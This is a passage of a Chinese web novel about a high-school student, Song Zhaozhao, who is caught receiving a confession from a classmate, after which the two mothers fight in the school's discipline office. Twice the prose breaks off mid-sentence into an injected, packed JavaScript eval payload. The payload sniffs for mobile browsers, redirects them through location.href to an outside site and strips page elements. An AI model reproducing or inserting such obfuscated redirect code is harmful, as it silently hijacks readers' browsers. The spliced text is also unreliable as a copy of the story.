“哦。”陈蓓的眼睛定定地锁在面前的电视屏幕上,漫不经心地问道,“最近有什么可看的电影吗?” 男生正要跟她报名字,陈蓓打断他:“感觉电影还没有动漫好看啊。” “动漫?”男生显然没有听出她话里有话,“你想看动漫啊?可以,那我去定一家私人影院,随便你想看什么都行。” 陈蓓叹了口气。 视线从屏幕缓缓转移到梁洲脸上,后者面不改色地盯着电视,坐姿端正,聚精会神。 很显然,他对她的对话毫不关心。 “算了吧,我今天不是很想出门。” “怎么了?你昨天不是还答应和我去看电影吗?”男生疑惑地抬高了声音,那些对话就这样不加阻挡地漏进梁洲耳中。 他蹙了下眉。 她在学校人缘这么好吗? 不是跟男生打篮球,就是承诺跟他们去看电影。原来随口答应、给人画饼是她的日常。 “我发烧了。” 陈蓓说出实情,不无可惜的语气。甚至十分善解人意地把声音放得更温柔:“还是不跟你见面了,免得传染给你。” 梁洲的面色沉了下来。 对面是男生第一时间送来关心:“你现在有没有好点?去看医生了吗?吃药了吗?有人照顾你吗?” 接连抛出来的问题不禁让她失笑。 陈蓓精力尚未完全恢复,提不起力气与他周旋,笑了两声同他说再见。 挂完语音,她将手机随手丢在沙发上,向梁洲的位置靠近。 她挪,他也挪。 人都挪到沙发边缘了,陈蓓扭头看向他,神色复杂:“你干嘛?” 梁洲目不斜视,一字一顿道。 “哦,我怕被传染。” 39. 第三十九章 39 陈历回学校之前,陈国平给他拨过一个电话。 这次,陈国平不再假惺惺地表演父子情深的戏码,他开门见山,一张嘴便是钱。他细数曾经在陈历身上砸下的费用,要他一笔一笔回报。 陈国平完完全全把陈历对他仅剩的感恩之情当作筹码,与他谈判。 陈国平向他要钱,陈历不假思索:“可以,但不是现在。” 陈国平五十出头的年纪,有手有脚,目前随便在社会中找份零工,搬运快递、送外卖,或是进厂打包,都可以赚点小钱养活自己。 当然,如果他想摆摊做点小生意,陈历也会给他启动资金。 但绝不是现在。 陈国平狮子大开口,要的数字并不小。 陈历尚是在校大学生,一时拿不出来是事实。但更重要的,是他担心对方拿到这笔钱后再次挥霍,等花光了回头再找他这棵摇钱树。 不给?那就威胁。 董莲是他的软肋,陈国平显然很清楚,也很懂得利用。 当下最好的方法是,答应他。 然而期限要往后延。 陈历计划从陈国平六十岁开始,每个月往他账户上打钱,陈国平要的数字,他可以给,甚至可以加价给。 他只有一个要求:往后不能再来打扰董莲。 一旦出现像最近恶意围堵、讨要的状况,他将毫无留情切断陈国平的资金。 “呸!”听完陈历的想法,陈国平怒上心头,愤然道,“我是你老子,你给老子养老是天经地义的,居然还谈起条件了?” 陈历不欲与他争辩,声音平静,冷的像一汪刚消融的春水:“看来,你还没有想明白。” 说着,就要挂断电话。 “哎哎哎——”陈国平急了,“我话还没说完呢!” 他或许也没想到,当年聪明懂事的儿子,如今已经成长到敢跟他叫板,甚至大有拿捏他的架势。 陈国平心里极度不爽,可他别无办法。 “我,我答应你。”陈国平艰难地点了头,和他打商量道,“不过,我现在手里头没钱,也没地方住。你不让我去找你妈,总得给我钱租房子吧。” “再说了,现在工作哪里是那么好找的?” “就连你们大学生毕业了,没找到工作的不也一大堆?我得慢慢来……” 是吗? 陈历扯出一丝冷笑,既然你知道现在的社会大学生找工作难,可你怎么不体谅我? 他讥讽地从鼻腔内发出一声冷嗤,挂断电话后,给陈国平的账户转过去六千块钱。 这笔钱,是他去年参加各项竞赛,忙了一学期才获得的奖金。 - 烟云过眼,白驹过隙。 寒来暑往,秋收冬藏。 转眼,过去两年时间。 宋昭昭从刚进高一懵懵懂懂的新生转身成为高三的学姐,文理分科那年,她选择了比较拿手的文科。 如愿被分到文科重点班,每日背书、刷题,不得空闲。 与此同时,陈历放弃本校保研,成功考入北大法学院,他在更高等的学府深造,眼界和阅历进一步扩宽。 宋昭昭依然在学海里拼命挣扎。 两个人都忙得起飞,依旧保持着断断续续的聊天,只是她很少再分享日常了,更多的,是向他询问数学题。 其实,陈历已经高中毕业多年,现在整日泡在一堆法律文件中,看见数学公式,都要花时间想想公式的推导和运用。 宋昭昭进步越来越大,陈历自知她的数学不比他差,他可能帮不上什么大忙。 但如果他连这个忙都不帮,他们还有别的可以维持联系的话题吗? 宋昭昭对他的回避,他察觉出来了。他一度觉得其实这样挺好,她应该活在阳光底下,无忧无虑,灿烂明媚。 可到了深夜,一股他怎么都盖不住的失落、迷茫的情绪就会喷涌而出。 他没办法像处理学业、工作那样,理智地处理自己的感情,于是放任它自由发展。 他们两就这么有一搭没一搭地聊到了宋昭昭高三的最后一个学期。 - 高考进入倒计时。 三月末,气温骤然上升。 连日来的高温令同学们换下冬装,穿上了轻薄的校服外套。 某个晚霞灿烂的傍晚,宋昭昭吃过晚餐,回寝室洗了个澡,返回教室的途中,被先前的高一同班同学贺辛述拦了下来。 他在寝室门口叫住她,神神秘秘地将她带到寝室楼另一边。 宋昭昭疑惑:“你有什么事情吗?” 高一时,他们是同学,两人位置离得远,接触并不多。 但因为他们同是班干部,偶尔也会有一些老师安排下来的“工作”需要交流,因此多了说话的机会。 比起之前完全陌生的状态,他们的关系好歹往前跨了一大步,跨到“说过话的同学”关系里。 在没文理分科前,班级里曾经有过一些谣言。 关于他们两人。 谣言传得有鼻子有眼,就连陈蓓也跟着起哄:“昭昭,其实贺辛述长得还可以,虽然笨嘴拙舌,不像是会说甜言蜜语的人。” “但我瞧着他对你一片真心,不如……” 宋昭昭送给她一个白眼。 这些谣言一直在同学之间流传,贺辛述本人既不否认,也不承认,保持沉默。 那这些无厘头的谣传从何而来?同学们现编的,还是他从侧面给过大家反应? 宋昭昭曾经很困惑,他喜欢自己吗?为什么喜欢呢? 好像都没有得到过他亲口承认。 …… 这些问题盘旋在胸口一段时间,不过还没等到她解惑,她和贺辛述就被文理分科冲散到不同的班级。 新的班级、新的同学,会给人们带来全新的体验。 以前的同学们在校园里相遇,也不再调侃他们,大家最多打个招呼就擦身而过。 她跟贺辛述见面说话的机会逐渐减少,少到几乎要与陌生人无异。宋昭昭想,就算之前对方对她有过青春期的悸动,随着时间流逝,那些感情也该冲淡了。 因此,贺辛述叫住她的时候,她毫无防备地走了过去。 她跟着他离开寝室楼,穿过操场,走向小树林。 入口处,宋昭昭警觉地停下了脚步。 她左右张望,小声地道:“你带我来这里做什么?” 此处偏僻,来往的同学少。 此时已是六点,教学楼、综合楼灯火通明。她从入口处踮起脚,往里面探看了一眼,小树林深处没有路灯,黑漆漆一片。 谁都不知道里面有什么危险。 宋昭昭警惕地同他保持了一段距离,手心微微攥紧。见她停了下来,贺辛述并不强求,他转向宋昭昭,双手紧张地交握在一起。 深吸一口气之后,他开始说话,断断续续的。 “宋昭昭同学,今天,我叫你来……其实是有些心里话想对你说。” “毕竟离高考不到三个月时间,大家就要毕业了,毕业后……我怕现在不说,将来更没有机会告诉你。” 宋昭昭眉头微蹙,这个场景,这段开场白……她心里隐约浮起某个猜想。 果然如她所料,下一秒,贺辛述从兜里掏出一张抚平的、四角没有褶皱的信封,还有一只银白色的、精美的首饰盒。 贺辛述抿了抿嘴唇,在她的注视下将东西递了出去。 “宋昭昭,其实我想说。” “我喜欢你。很久了,从高一开始就喜欢你了。” 他很紧张,宋昭昭察觉到他的手在抖。 说实话,她也很紧张。 从小到大,不是没有遇到过向她表明好感的男生,但她都将那些类似于“告白”的话当成小打小闹的玩笑话,三两句就将它揭了过去。 但今日,贺辛述面色凝重地站在她面前,郑重地拿出信封和礼物向她告白,她居然无措地不知该如何处理。 她有喜欢的人,深刻了解喜欢一个人的感受。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405692|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 推己及人,如果她被喜欢的人拒绝了,一定会很难受。 所以……虽然她对贺辛述没有心动的感觉,但她心软、心善。 想拒绝他,又想把这份伤害降到最低。 “其实我……”宋昭昭出声。 始终低垂着眼眸不敢与她对视的贺辛述,缓缓抬起头,望向她,眼神真挚。 话到嘴边,转了弯,她斟酌道:“我们两个现在都还是学生,更何况学校不允许早恋。所以……” “三个月后,我们就毕业了。”贺辛述打断她。 “但是,毕业了大概率不会在同一所大学,那意味着将会面临异地……”宋昭昭谨慎开口,仔细打量他的神情。 异地太煎熬了,总是见不到面。 所以,她费尽心思地想要提高分数,想要考到尽可能离陈历近一点的学校。 最好是他本科那所大学,离他目前读研的地方也近。 “我可以选择和你一个学校的。”贺辛述瞳仁微微睁大,情绪激动,朝她连走了两步,“真的,我愿意。” 离得有些近,超过宋昭昭与普通同学接触的正常距离。 她扯起一个尽量温和、淡定的笑容,不动声色地朝后挪动脚步,语重心长劝道:“目前离高考只剩下三个月不到的时间,我觉得还是学习最重要,你觉得呢?” 贺辛述没有否认。 宋昭昭动之以情,晓之以理:“这封信和礼物,你先拿回去。” 这算拒绝了他吗? 贺辛述的眼皮逐渐耷拉下来,他似有不甘,也不私心,固执道:“这是送你的。” “那就先放到你那里保存,一切等高考结束,可以吗?” 高考很重要,它决定着绝大多数人未来的走向。如果因为拒绝他的告白,令他造成巨大的情绪波动,进而影响他的成绩。 宋昭昭心里会过意不去。 她不想给贺辛述带来负面影响,也不想日后回想起来感到愧疚,因而连“拒绝”都小心翼翼,万般斟酌。 他的手在半空中举了很久,像一只笔直的船杆,逆流而上时与激流勇敢地做着搏斗。 约莫过了半分钟,不知是因为举酸了,还是听进去宋昭昭的潜台词,他终于放下来。 宋昭昭眼睛一眨不眨地盯着他。 他的沉默令她感到些许心酸。 “好,我听你的。” 声音有些嘶哑,似是竭尽全力在压抑着难过、颓丧的情绪。贺辛述抬头望了望橙红色的天际,远处飞过几只新燕。 可能意识到这段感情应该是得不到他想要的结局,伤感和不舍伴随着,让他聚集在胸口的勇气喷涌而出。 “昭昭,我能问问你对我是什么看法吗?” 其实,她对他印象不深,因为两人的交集实在太少。 不过宋昭昭仍是凭借着这些短暂的接触,以及班级同学过往给他的评价,真诚地回答了他的问题。 “你……在我心里,你是个学习挺刻苦、成绩很好,也挺自律的男生。平时在班级里面话不多,有点内敛、害羞。不过,你很乐于帮助他人,大家对你的印象都很好。” “包括你吗?”他问。 宋昭昭在他期待的眼神中,肯定地点了点头。 随着她的脑袋轻轻点下,贺辛述终于嘴角上扬,流露出好看的、释怀的笑容。 “我知道了。” “今天浪费了你一点点时间在这里听我废话,不好意思啊。”贺辛述伸出手尴尬地挠挠后脑勺,少年气溢了出来。 放下手时,顺便把信封和首饰盒都装进了衣兜,他说:“我们回去吧。” 宋昭昭再次点头。 喉咙里的“好”字尚未来得及发出声,背后突然传来一记严厉的、响彻天际的声音。 德育处主任张威站在离他们不到三米远的灌木丛里,双手叉腰,瞪圆了眼睛。 “前面的两位同学,你们是哪个班级的,在小树林里做什么?” “给我过来,快点!” 40. 第四十章 40 宋昭昭和贺辛述被带到了德育处。 路上,张威横插在他们中间,简单询问了两个人的班级和姓名,随后给他们的班主任各拨去一个电话。 “你们班学生在德育处,过来领一下。” 听起来像是失物招领,宋昭昭不免抿了下嘴角,压下笑意。 她低垂着脑袋,余光一次次瞟向张威那张臭得不能更臭的脸,下颌绷得紧紧的,就跟谁欠了他钱似的。 眉目紧锁,透露出严肃的气息,她打了个寒颤,心想这回怕是不好糊弄过去。 到了德育处,张威二话不说,从贺辛述衣兜里搜出那个精美的首饰盒,以及那封宋昭昭都没看过的情书。 他简单浏览,眼睛瞪得越来越大,胡子翘得越来越高。 最后恨铁不成钢的把信纸拍到了桌面,怒火从胸腔蹿到指尖,随时会将那封情书点燃。 “嘭——” 宋昭昭被这一声巨响吓得肩膀颤了一颤,她倒吸一口凉气,不止一次后悔。 刚刚她就应该趁着张威没有走到小树林面前,和贺辛述兵分两路逃跑。张威年近五十,体力耐力都比不上学生,真跑起来,他肯定顾不得两头。 要是当时鼓起勇气逃跑了,这会儿他们都不用在德育处聆听张威痛心疾首的教诲。 翻来覆去倒着一句“学校不允许早恋”,听得宋昭昭耳朵都要生茧子了。 “别以为快毕业了就可以无法无天,无视校规!翅膀还没硬呢!只要你们在学校一天,就必须遵守校规条例!” “你们给我分开,靠墙站着反省去!” 张威猛地一拍桌子,桌上的玻璃杯震得跳了起来,茶杯里还有三分之一的茶水,漂浮着几片墨绿色茶叶。 水杯震荡,寂静的房间里回荡着“丁零当啷”的余音。 两人对视一眼,默默往后面的墙壁挪去。等站定了之后,贺辛述瞄一眼宋昭昭,主动将责任揽了过去。 “老师,这事跟她没有关系,都是我自作主张,都怪我!要不,您先放她回去。” “这会儿逞强当上好人了?早干嘛去了?”张威怒气未消,声音高亢,“但凡你能把这些歪心思收一收,放到学习上,成绩是不是早进步了?” “贺辛述同学,你觉得呢?” 老套的说辞。 宋昭昭撇了下嘴,并不是很认同他的说法。 青春期时男女生荷尔蒙涌动,对异性产生好感是再正常不过的事情,何至于上纲上线,把他们批得狗血淋头? 更何况,他们都还没早恋呢。 只凭一封没送出的情书就不分青红皂白污蔑他们没将心思放在学习上,未免带了偏见,太过武断。 张威抬眼,见两个人如鹌鹑似的立在墙壁两侧,偏偏脸上的表情很不服气,他气不打一处来,翻箱倒柜寻找家校通。 家校通上记录留存了每位同学家长的联系方式,他准备请他们父母到学校喝茶。 张威说一不二,掏出手机就拨电话,引来宋昭昭和贺辛述强烈抗拒。 张威挥了挥手:“晚了,你们都别跟我置气,向自己爸妈解释去吧。” “我管不了你们,让你们家长来教育。” - 德育处是独立办公室,在综合楼三楼的走廊尽头。 半个小时后,两个人的班主任、家长都尽数到位,一屋子站了九个人,把德育处挤得满满当当。 屋子里明亮的光线洒下,宋昭昭逆着光,看见母亲低马尾里藏了几根白发。 她瞬间鼻酸,在众人发现她的异常前速速低下头去,小心地掩饰着难过、内疚的情绪。 那封情书在大人手中传阅,光亮之下,贺辛述的秘密就这么被打开了。 与之一同被打开的,还有那条精美的、闪闪发光的手链。 沉重的叹息声在房间里此起彼伏,宋昭昭几欲开口,都被大人们凝重的神情吓退了。 可是,可是…… 宋昭昭有些不忍,还是替他出了头。 “我们两个人之间没有任何事情,在张老师到来之前,我们彼此约定好了要认真学习,努力完成高考目标。” “然后呢?”张威耷拉的胡子又被气得翘了起来。他拔高音量,“高考结束之后再在一起是吗?你现在是怪我提前捅破了你们的感情?” “宋昭昭同学,你的意思是——” “老师做错了?” 不是的。 宋昭昭拧着眉,欲言又止。 眼见气氛变僵,宋父赶忙出来打圆场:“没有没有,张老师,我们家昭昭绝对不是那个意思,你别误会。” “张老师你这么做全是为了学生好,工作辛苦,大家都看在眼里。” 宋父走到办公桌面前,把茶杯递给了他:“您喝口茶,消消气。” “昭昭,不要和张老师顶嘴。”他扭过头和宋昭昭使了个脸色,意思是要她息事宁人,“过来道歉。” 宋昭昭不为所动。 张威怒意更盛,连连发出沉重的叹息。 他接过水杯,又将它重重地搁在桌面。 德育处灯火通明,余菲结束加班,从办公室出来的时候往里面瞄了一眼。 彼时的她在理科班任职,早已不是宋昭昭和贺辛述的班主任。但她记忆力好,还记得他们,仅仅看了一眼,就认出了在场的两位同学。 她现在不是他们的老师,更何况他们各自的班主任都在场,她进去帮忙求情未免显得掺和、多事,不利于事态发展。 因此,余菲只停在门口多听了几句。 听到了宋昭昭的反驳,也看见了张威冷峻的面色。 她不由为小女孩捏了一把汗。 余菲浅浅叹了口气,摇摇头走到综合楼一楼,给陈历拨去电话。 余菲打来电话时,陈历正在图书馆写材料,手机设置成静音,连震动都没有开。 他专注学习的时候,一般不希望被打扰。 可偏偏今天,他刚拿起水杯喝了两口水,视线往手机屏幕上随意一扫,就看见了这个来自余菲的电话。 虽然他们平时偶有联系,但通常通过微信聊天,怎么会突然给他打电话。 陈历觉得奇怪,拿起手机,快步走到楼梯间接起电话。 余菲长话短说,言语简洁地表述拨来电话的缘由,她在电话那端心有余悸地拍拍胸脯,说:“我看张老师这次是想抓个典型,以此警告那些即将毕业、蠢蠢欲动的高三生。” “昭昭也是倒霉了……” “今晚他们班主任和家长都来了,估计会先做停学处理,接下来不好说,得看他们认识错误的态度……” “喂,陈历,你在听吗?” 电话接通之后,一直都是余菲在说话,那端的人始终一言不发,她都要怀疑全程是她在自言自语。 “在的,余老师。” 陈历眉头微蹙,眸色暗下来,平静的声音让人听不出他的情绪。 “那你……?”余菲想了想还是忍不住叮嘱,“我看小姑娘情绪挺激动的,你有空的话,劝一劝她,张老师其实没有恶意。” “让她别放在心上,其余事情可以等高考结束再说。” 余菲言尽于此。 “好,我知道了。” “谢谢你,余老师。” 挂断电话,陈历握着手机在楼梯间伫立了一会儿。 思绪混乱,脑海里想起她倔强的脸庞,还有那双明亮诚挚的眼睛,心骤然刺痛。 回到座位,陈历继续搜索法律文献,查找资料,可他明明眼睛盯住屏幕,注意力却怎么也无法集中。 心不在焉地打了几排字,完全是无用的废话。 陈历挠挠头,有些烦躁地甩开鼠标,拿出手机查询最近一班回家的飞机。 - 德育处。 宋父好声好气地向张威道歉,全程态度恭恭敬敬的,弯腰递杯子时,肩膀往下压,看得宋昭昭莫名鼻子一酸。 明明,她什么都没有做错啊。 她不想父亲为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405693|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己在老师面前点头哈腰,下决心“大事化小,小事化了”,上前一步,做好准备向张威低头。 下一秒,贺辛述的母亲站了出来。 “哎哟我说,张老师,我们家小述从小到大都是最规矩的孩子,他既听话又懂事的,怎么可能早恋的嘛?” “他才十几岁,还是小朋友。回家后一门心思扑在学习上,电视剧不看,游戏也不玩,眼里只有成绩和排名。他怎么可能想得到早恋啊……” “我看,指不定是谁先勾引的我们家孩子,在高考前搞这些乱七八糟的事情。” “还有这条女士手链,轻奢的小众品牌,我查了下,价格可不便宜,小述一个男孩子哪里听过这些?” “张老师。你可一定要查清楚,不要污蔑了清清白白的学生哦。” 贺辛述的母亲音调比较尖,突然抬高了音量说话,显出几分刻薄尖锐的意思。 尤其这一段话意有所指,在常都是聪明人,听完话后,两个班主任面面相觑。 宋昭昭上前的脚步顿在原地。 她有一瞬失神。 什么意思?贺辛述母亲是想把锅全部推到她身上?是在怪她勾引她儿子? 同为母亲,说出这般羞辱人的话,居然也不害臊。 宋母冷嗤一声,急冲冲跨上前,指着贺辛述母亲的鼻子破口大骂:“你这女人什么意思啊?推卸责任?敢做不敢当啊?” “古有君王亡国怪红颜祸水,现有小孩不专心学业把脏水泼给女同学?笑话。” 贺母不甘示弱:“我提出合理怀疑,你这么激动干什么?心虚了?还是被我说准了?” “啧啧啧。” 她嫌弃、讥讽的目光在宋母和宋昭昭身上来回的扫。 宋母的脾气跟个炮仗似的,直接被点炸了。她怒目:“你要不要脸?是你儿子信里写的,默默喜欢了我女儿三年,识字吗?” “不识字我可以读给你听。” 说着,宋母就要去拿桌面放的那封情书。 宋父立马拦住她的腰腹,低声在她耳畔嘱咐:“这里是学校,冷静点。” 呸! 冷静有什么用,素质在关键时候不要也罢。面对无理取闹的人就应该反击回去,不然要一直被人骑在头上骂吗? 宋母冷静不了一点,扯着嗓子与人辩驳:“情书是你儿子写的,手链是你儿子买的。今天晚上是你儿子要和我女儿告白,我还没怪他影响我女儿学习呢,你倒好,居然恶人先告状,你属狗啊,怎么乱咬人呢?” “我看就是你们家长疏于管教,才放任孩子……” “你放屁!”贺辛述的母亲情绪激动,高亢尖利的声音划破夜空,“我们儿子品行端正,肯定是你们家女儿引诱他。” “年纪轻轻就敢开口要那么贵的礼物,不要脸!” 宋母无语地翻了个白眼,单手叉腰:“口口声声手链贵重,我们家难道缺这点钱?你要喜欢,自己拿回去戴好咯。” “反正是我女儿看不上的东西。” “还有啊,我家女儿绝对不可能和你儿子在一起,你就放宽了心吧。” 两个女人像两只气势高昂的斗鸡,火力全开,你一言我一语,互不相让。 她们吵得面红耳赤,难舍难分,d大有炸了这间办公室,大家都同归于尽的想法。 最后就连班主任和张威齐齐下场,也没能平息众人的怒火。 声音越吵越响,动静越闹越大,变得难以收场。 在一声声互相指责和谩骂中,宋昭昭讥讽地发出一声冷哼,她眨了下睫毛,看向另一端站得笔直的贺辛述。 他微低着头,瘦削的身影在纷飞的战火中飘零欲坠。 垂立在身侧的双手紧紧握成拳头,手臂上的青筋依稀可见。喉结克制地上下滚动了一下又一下,最终拉直嘴角,长舒出一口气。 “你们别吵了!” 始终保持沉默的他突然发出怒吼,像一只森林里的野兽在咆哮,惊得众人连忙停下推搡的动作,回眸看他。 41. 第四十一章 41 “你们不要再吵了!” “是我的错,一切都是我的错,你们要怪就怪我,全都怪我!” 贺辛述从办公室角落走了出来,他走到人群中央,眼神飘过在场所有人,在宋昭昭身上停顿了一下,又移走。 “怎么能是你的错?” 贺辛述母亲第一时间反驳他,不知因为心虚还是理直气壮,她的嗓门响亮、尖锐,快要冲破房顶,“贺辛述,你不要给我乱说话!” 她正对着贺辛述站立,背朝众人,冲他小心地挤眉弄眼。 她在示意他不要胡乱认错,免得受到更严厉的惩罚。 贺辛述避开她的视线,朝宋父宋母鞠了一躬:“对不起,叔叔阿姨,你们不要骂宋昭昭,她,她没有错。” “今天发生的所有事情,她事先全都不知情。” “对不起。” 男生的肩膀好像在这一刻变得更壮阔。 “你没有错!” “我再说一遍,你没有!” 贺母厉声喝止,面目因为不可置信和愤怒而变得狰狞,她三两步跨到贺辛述面前,扬手要给他一个巴掌。 手掌高高举在半空,却在对上固执的眼神后转了方向。 “啪——” 巴掌落在了他的肩膀,贺母恨铁不成钢:“谁说你错了?你为什么要自作主张认下这些事情?” 她放柔了声音,循循善诱:“我问你,是不是那个女生勾引你,所以你才会想在高考前告白?” 贺辛述摇头。 “贺辛述母亲,我建议您先保持冷静。”张威走了过来,试图缓解母子间紧张的气氛,“有些话可以好好说,不要动手打孩子。” 下一句话被他咽下了:请不要教孩子撒谎、推卸责任。 贺母只当没听见,自顾自摇晃了两下贺辛述的肩膀,重重的叹息落了地。 “妈妈知道你一直很乖,不会做出这么离谱的事情,这其中肯定另有隐情对不对?还有那条手链,是她向你索要的,对不对?” 她漆黑的眼睛直勾勾盯着贺辛述,似乎不问出她想要的答案便不会罢休。 贺辛述眼里噙着泪,一开口声音有些哽咽:“不是。” “整件事都是我一时兴起,跟她一点关系也没有。” 说这话时,他刻意避开宋昭昭投过来的目光,那些可怜他的眼神,让他更难堪。 贺辛述把过错全都揽到自己身上,贺母哑口无言。 她心有不甘,转过身狠厉地瞪着宋母。 宋母平时不是小肚鸡肠的人,今天被她这么阴森森地盯着看,这一刻也不依不饶起来:“听到了没有,我女儿才是最无辜的。” “你身为人母,不教孩子学会承担,光顾着推卸。四五十岁的人了,居然还没一个小孩懂事、有担当。” “该你过来跟我们家昭昭道歉。” 火药再次被点燃,贺母猛地冲上前,怒意从双眼中迸发出来。她重回战场,争吵声震耳欲聋,整条走廊都回荡着她们的争辩声。 两边的父亲双双拦住自己的妻子,满嘴“息事宁人”,班主任和张威看不过去,挡在中间劝导。 玻璃窗留了一条小缝,夜风从窗缝里灌进来,与喧闹的人声一同钻进她的耳朵。 宋昭昭忽然觉得好累。 明明今天只是寻常日子里最普通的一天,她吃过晚饭,洗完澡,一身清爽打算回教室上夜自修。 数学老师和英语老师各留了一张试卷,历史老师明天要抽背,语文老师的文言文分析题还没做完…… 时间很紧张,就算她奋笔疾书都未必能完成老师布置的任务。 可她现在却站在这里听人吵架。 宋昭昭一言不发地望向贺辛述,后者低垂着头,满脸愧疚与自责。 其实她想过去安慰他,想告诉他“没关系,这不是你的错”,可她们的母亲互不相让,显然已经撕破脸皮。 她迈不出那一步。 从头至尾,宋昭昭都没有怪过贺辛述。 喜欢一个人本没有错,这也不应该被称之为“错误”。哪怕他现在给她带来困扰,可她依旧没有讨厌、嫌弃他。 真正错的,是大人的好胜心。 - 时间流逝,两位母亲吵得嗓子嘶哑,这场闹剧才渐渐落下帷幕。 张威像跑了1000米般,累得气喘吁吁。他双手叉腰,说:“可别再吵了,再吵下去容易影响孩子。” 他拿孩子当筹码,逼得几位家长不得不坐下来详谈。 张威给她们各泡了一杯茶,分别递到她们手中时,小心叮嘱:“这是喝的,不是用来泼人的。” 事情最后还是要做个了结。 张威公事公办,对两位学生做出“停学一周,检讨1000字”的惩罚。 他问:“你们没有意见吧?” “不是,我女儿也是受害者,她凭什么停学?还有那什么破检查,该让她儿子写两篇,另一篇给我们道歉。” 宋母喝了两口茶,扯着嘶哑的嗓音继续辩论。 “你来劲儿了是吧?”贺母梗着脖子,冷笑。 宋母阴阳怪气:“我看你儿子写情书挺厉害的,写检讨应该也不差。” “你……!” 气氛剑拔弩张。 “妈。”宋昭昭越过人群,走到宋母身侧,她扯了扯宋母的衣角,小声劝道,“算了吧,我们回家。” - 走出德育处,宋昭昭父母带她回教室取书包,路上,班主任和两位家长聊了聊她的学习成绩,宋昭昭安静地走在一侧。 月光下,母亲那几根白头发清晰可见。 宋昭昭的指甲嵌进掌心,疼痛感拽着呼吸,令她感到几分心酸。 宋昭昭想起母亲很爱漂亮,几乎每两年时间都要去染一次头发,她说染了头发显年轻、显气色。 但自从她升入高三之后,母亲便把所有精力和时间都匀给了她,顾不上打扮自己。 虽然宋母从来没有借此向她要求过、诉苦过,可母亲越是这般默默无闻地付出,越让她懊恼、羞愧。 她应该让他们更放心才对。 取回书包后,一家三口并肩往校门口的方向走。 宋母憋了一路,终于还是没忍住火气,她批评道:“昭昭,爸爸妈妈其实并不想给你太大的学习压力,但是早恋这事……” “我实话实说,并不赞成。” “你看看人家的母亲,今天晚上都把你贬低成什么样子了!太无理了!” 宋昭昭低声道:“我跟他就是高一同学,没有其他关系。” 宋母说:“这话我信,但在场的其他人信吗?” “就算你是被告白的,你没有动任何歪心思,可你们老师请家长来喝茶的时候,少了我和你爸吗?” “他妈妈把脏水往你身上泼,就算你是清白的,也会溅得一身脏。” 宋昭昭不语。 虽然宋母在批评她,可她内心是认可母亲的想法的。今天晚上母亲为了她据理力争,也受了不少委屈。 “以后离他远点。” “明天我会向老师申请,从今天开始你回家住宿。以后每天晚上下了夜自修,我来接你回家。离高考不到一百天,正好之后我还能做夜宵给你补补身体。” “接下来这段时间,我们全家人都辛苦一下,齐心协力共度难关。” 宋昭昭在心底叹了口气,有液体溢出眼眶。 她莫名想哭。 走出校门,温和的晚风吹过,撩动了她鬓角的碎发。 宋父前去取车,母女两人等在校门口。 宋昭昭望着头顶那轮皎洁明月,忽然觉得有些喘不过气,她提议:“妈,你和爸爸先回家吧,我想出去走走。” “去哪里?我陪你。”宋母守在她身侧。 “我想一个人静静。” 宋母拒绝:“恐怕不行。你一个人出去,我们不放心。” “我不会做傻事的。我现在脑子里很乱,真的只想一个人待会儿。”宋昭昭凝视着她,往后撤退了一步。 在宋母反应过来之前,她猛地转身,朝反方向撒腿跑去。 “昭昭,昭昭 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宋父从停车场取到车,返回校门口的时候,只看见宋母一个人孤零零的身影。 他左右张望,疑惑地皱起眉:“昭昭呢?” “跑了。”宋母打开车门,坐上副驾,语气因为疲倦而格外低沉,“她让我们先回家,她出去走走就回来。” “你说这大晚上的,她能去哪儿啊?”宋母语气里的担忧随着夜色变暗而逐渐加深。 宋父也不由跟着揪心,眉目紧锁。 不过他尚算镇定,宽慰道:“刚刚在办公室那一出闹得确实不算好看。毕竟两孩子之前还是同学,她想一个人静静就让她去吧。” “我们先回家。” 说罢,宋父掉转车头,匀速且平稳地往家的方向驶去。 - 宋昭昭哭过后,眼眶泛红。 她扒在的士的玻璃窗上,看着窗外掠过的夜景。手机关机了,正好不用面对轰炸的消息,她可以留出时间欣赏窗外的风景。 泪水再次汹涌而出,模糊了她的视线。 明明不想哭的。 可她就是觉得……贺辛述很可怜,她也很可怜。 鼻尖酸涩,内心一波波如潮水般涨落的疼痛感将她包围。她想找人说说话,但又怕打扰别人。 在这个狭窄安静的的士后座,她又一次想起陈历。 她想起初三毕业那年,他请她吃饭,送她茉莉花。 两人在市民公园悠悠荡荡地散步,打车回家时,他们共同坐在后座。他近在咫尺,她却只是抱着茉莉花,透过车窗上的倒影偷偷看他。 都过去多久了,她居然还记着。 宋昭昭自嘲地扯了下嘴角。 茉莉花早就凋谢了,她为了纪念,在网络上搜寻保存的方法,从那一束花中找出最漂亮的一朵,将它晒干压扁,通过密封贴纸将它做成了书签。 那张书签被她夹在语文书里,每每学习疲惫的时候,拿出来给自己打气。 陈蓓笑她“睹物思人”,她大大方法承认:“对啊,我就是睹物思人!” 倒退的景色犹如一去不复返的时间,很快,她便到达目的地。 司机师傅停在一条水泥路上,宋昭昭下车前,再次打开手机付款。 合上车门,的士从身后驶离。 宋昭昭漫无目的地走在月光下,走过了一个上坡,才想起来手机忘了关机。 她希望自己能拥有这点时间的支配权,不想被打扰,于是再次从兜里掏出它。 手指放在关机的按键上,确认前一秒,微信突然弹出一条消息。 